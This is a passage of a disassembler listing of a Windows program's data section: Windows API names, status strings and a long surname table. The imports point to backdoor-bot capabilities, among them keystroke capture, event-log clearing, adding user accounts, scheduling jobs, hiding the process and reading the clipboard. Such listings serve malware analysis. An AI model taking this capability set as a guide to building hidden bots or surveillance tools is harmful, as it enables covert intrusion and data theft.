aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do align 10h aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B12:loc_40A620o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B12+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B12:loc_40A5D6o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B12:loc_40A58Co align 10h aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B12+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo ; sub_4185A4+65o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B12+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B12+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B12+9C5o align 10h aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B12+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B12+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo align 10h aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B12+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B12+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B12+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B12:loc_40A470o ; sub_4185A4+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B12+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B12+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B12+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B12:loc_40A411o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o align 10h aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B12+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o align 10h aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B12:loc_40A2F1o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B12+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B12+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B12+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B12+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409B12+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B12+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B12+658o align 10h aAccept db 'accept',0 ; DATA XREF: sub_409B12+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409B12+63Eo align 10h aSelect db 'select',0 ; DATA XREF: sub_409B12+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409B12+629o align 10h aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B12+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409B12+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409B12+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409B12+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409B12+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409B12+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_409B12+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B12+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B12+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_409B12+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B12+588o aSocket db 'socket',0 ; DATA XREF: sub_409B12+57Bo align 10h aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B12+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B12+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B12+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B12+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B12+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B12+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B12+525o align 10h aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B12+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B12+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B12+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B12+487o align 10h aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B12+47Ao align 10h aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B12+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B12+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B12:loc_409F3Fo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B12:loc_409F17o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo align 10h aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B12+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409B12+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B12+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B12+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B12:loc_409E69o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B12+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B12+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B12+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B12+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B12+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B12+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B12+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B12:loc_409D71o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B12+20Do align 10h aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B12+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao align 10h aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B12+1A0o align 10h aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B12+193o align 10h aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B12+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B12+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B12+15Fo align 10h aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B12+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B12+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B12:loc_409C47o ; sub_424D78+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao align 10h aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B12+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B12+79o align 10h aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409B12+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B12+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B12+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B12+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B12+Ao align 4 unk_42D338 db 2Dh ; - ; DATA XREF: sub_40A7CE+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o align 10h aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o align 10h aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o align 10h aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o align 4 a_: ; DATA XREF: sub_40F96A+252o unicode 0, <.>,0 unk_42D4C8 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABF0o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_42D4F8 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABBEo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42D528 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40AB8Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D54C db 2Dh ; - ; DATA XREF: sub_40AB31+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC0F+46o ; sub_40BFEB+38o align 8 aReal db 'real',0 align 10h dd 0 dword_42D594 dd 0 ; DATA XREF: sub_40B08D+7o off_42D598 dd offset sub_40ACB5 ; DATA XREF: sub_40B08D+49r aConst db 'const',0 align 8 dd 1, 40AD22h, 7474656Ch, 7265h, 0 dd 2, 40AD80h, 706D6F63h, 2 dup(0) dd 3, 40ADCDh, 6E756F63h, 797274h, 0 dd 4, 40AE6Bh, 736Fh, 2 dup(0) dd 5, 40AEE0h off_42D600 dd offset aAbdulrazak ; DATA XREF: sub_40ACB5+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D60C dd offset aAddison ; DATA XREF: sub_40B08D+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd 